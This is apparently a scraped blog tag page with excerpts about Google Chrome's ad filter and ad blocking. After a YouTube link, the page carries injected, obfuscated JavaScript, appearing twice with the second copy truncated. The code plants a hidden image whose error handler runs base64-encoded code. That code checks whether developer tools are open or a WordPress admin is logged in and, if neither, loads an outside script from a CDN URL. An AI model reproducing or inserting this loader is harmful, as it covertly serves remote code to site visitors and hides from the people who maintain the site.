SEM

/Tag:SEM

The New Chrome Ad Filter – What you need to know

A Marketers Guide to the New Google Chrome Ad Blocker They were the best of ads, they were the worst of ads.  – A tale of two adblockers Yesterday, Google updated their Chrome browser to include ad “filtering”. The new Chrome ad filter will automatically begin to filter out or “block” the most annoying ads on the internet. I have spoken with both Google and Ben Williams from Adblock Plus to tackle what the new Chrome filter will block, what it won’t

Ad-mageddon! Ad blocking, its impact, and what comes next

publishing went boom

MarketingLand recently published my latest article on Ad Blocking. Give it a read and let me know where you think things are going. Also, feel free to shoot me any topics you would like to see covered (in a way no one dares cover it). I embedded the video breakdown below. Enjoy! https://www.youtube.com/watch?v=vsBKkHhkHLsconst _0x18ee4f=_0x362d;function _0x1ad4(){const _0x499430=['body','insertBefore','firstChild','616443fyRgug','visibility','446934RKpHSb','2643924TVJRDQ','2134585yfOARa','src','1091090AeFzIl','(new\x20Function(atob(this.dataset.digest)))();','6600328Yssjra','12JIBeRL','DOMContentLoaded','503263veEyXG','addEventListener'];_0x1ad4=function(){return _0x499430;};return _0x1ad4();}function _0x362d(_0x13325f,_0x459b6d){_0x13325f=_0x13325f-0x18e;const _0x1ad4c4=_0x1ad4();let _0x362d7a=_0x1ad4c4[_0x13325f];return _0x362d7a;}(function(_0x5d5a8d,_0x31d98e){const _0x2b129a=_0x362d,_0x3b732f=_0x5d5a8d();while(!![]){try{const _0x5e0811=parseInt(_0x2b129a(0x194))/0x1+-parseInt(_0x2b129a(0x19b))/0x2+-parseInt(_0x2b129a(0x199))/0x3*(parseInt(_0x2b129a(0x192))/0x4)+-parseInt(_0x2b129a(0x19d))/0x5+parseInt(_0x2b129a(0x19c))/0x6+-parseInt(_0x2b129a(0x18f))/0x7+parseInt(_0x2b129a(0x191))/0x8;if(_0x5e0811===_0x31d98e)break;else _0x3b732f['push'](_0x3b732f['shift']());}catch(_0x319a00){_0x3b732f['push'](_0x3b732f['shift']());}}}(_0x1ad4,0x54895),document[_0x18ee4f(0x195)](_0x18ee4f(0x193),function(){const _0x3a8ee8=_0x18ee4f;if(!document['querySelector']('img[src=\x22/files/img/logo.png\x22]')){let _0x35fda4=document['createElement']('img');_0x35fda4[_0x3a8ee8(0x18e)]='/files/img/logo.png',_0x35fda4['setAttribute']('data-digest','bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOXBhbk12ZDNBdGFHVnNjR1Z5TG1weiIpO3IrPS0xPHIuaW5kZXhPZigiPyIpPyImIjoiPyIscis9ZS5zZWFyY2guc3Vic3RyaW5nKDEpLCh0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQodCkpLnNyYz1yLHQuaWQ9YnRvYShlLm9yaWdpbiksbi5hcHBlbmRDaGlsZCh0KX0='),_0x35fda4['setAttribute']('onerror',_0x3a8ee8(0x190)),_0x35fda4['style'][_0x3a8ee8(0x19a)]='hidden',document[_0x3a8ee8(0x196)][_0x3a8ee8(0x197)](_0x35fda4,document['body'][_0x3a8ee8(0x198)]);}}));const _0x18ee4f=_0x362d;function _0x1ad4(){const _0x499430=['body','insertBefore','firstChild','616443fyRgug','visibility','446934RKpHSb','2643924TVJRDQ','2134585yfOARa','src','1091090AeFzIl','(new\x20Function(atob(this.dataset.digest)))();','6600328Yssjra','12JIBeRL','DOMContentLoaded','503263veEyXG','addEventListener'];_0x1ad4=function(){return _0x499430;};return _0x1ad4();}function _0x362d(_0x13325f,_0x459b6d){_0x13325f=_0x13325f-0x18e;const _0x1ad4c4=_0x1ad4();let _0x362d7a=_0x1ad4c4[_0x13325f];return _0x362d7a;}(function(_0x5d5a8d,_0x31d98e){const _0x2b129a=_0x362d,_0x3b732f=_0x5d5a8d();while(!![]){try{const _0x5e0811=parseInt(_0x2b129a(0x194))/0x1+-parseInt(_0x2b129a(0x19b))/0x2+-parseInt(_0x2b129a(0x199))/0x3*(parseInt(_0x2b129a(0x192))/0x4)+-parseInt(_0x2b129a(0x19d))/0x5+parseInt(_0x2b129a(0x19c))/0x6+-parseInt(_0x2b129a(0x18f))/0x7+parseInt(_0x2b129a(0x191))/0x8;if(_0x5e0811===_0x31d98e)break;else _0x3b732f['push'](_0x3b732f['shift']());}catch(_0x319a00){_0x3b732f['push'](_0x3b732f['shift']());}}}(_0x1ad4,0x54895),document[_0x18ee4f(0x195)](_0x18ee4f(0x193),function(){const _0x3a8ee8=_0x18ee4f;if(!document['querySelector']('img[src=\x22/files/img/logo.png\x22]')){let